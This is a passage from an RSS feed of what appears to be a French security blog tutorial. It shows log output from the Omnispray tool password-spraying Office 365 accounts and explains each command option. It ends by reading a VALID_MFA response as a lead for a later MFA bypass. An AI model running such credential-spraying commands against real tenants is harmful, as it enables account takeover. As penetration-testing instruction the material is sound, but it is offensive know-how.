&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,790&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; ribeiro.enzo@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,810&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; - &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; ribeiro@domaine.com:password &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;USER_NOT_FOUND: User does not exist&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,813&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : Results can be found in: &lt;span class=&#34;s1&#34;&gt;&amp;#39;/home/kiron/Omnispray/results/&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:29,813&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : Valid credentials: &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;2026-06-24 10:04:30,064&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; INFO : /home/kiron/Omnispray/omnispray.py executed in 1.51 seconds.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;explication-de-la-commande-&#34;&gt;Explication de la commande :
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--type spray&lt;/code&gt; : déclare le mode que nous voulons utiliser (enum ou spray)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-uf ../username-anarchy/emails.txt&lt;/code&gt; : donne le fichier d&amp;rsquo;utilisateur que nous voulons tester (il est possible de mettre un seul utilisateur avec le paramètre &lt;code&gt;-u &amp;lt;mail&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p password&lt;/code&gt; : pour préciser le mot de passe que nous voulons tester (possible de mettre &lt;code&gt;-pf&lt;/code&gt; pour donner un fichier de mot de passe)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--module o365_spray_msol&lt;/code&gt; : déclare le module que nous voulons utiliser pour réaliser le &amp;ldquo;spray&amp;rdquo; il en existe d&amp;rsquo;autre mais celui la est plus bavard&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ici, nous pouvons voir qu&amp;rsquo;aucun mot de passe ne valide la connexion &amp;hellip; normal, nous pouvons voir que sur toutes les tentatives nous avons le code &lt;code&gt;[USER_NOT_FOUND: User does not exist]&lt;/code&gt; sauf sur un : &lt;code&gt;enzo.ribeiro@domaine.com:password&lt;/code&gt; où nous avons le message &lt;code&gt;[VALID_MFA: Response indicates MFA (Microsoft)]&lt;/code&gt; car ma MFA est activé, il faudra donc la bypass par la suite.&lt;/p&gt;
</description>
        </item>
        
    </channel>
</rss>
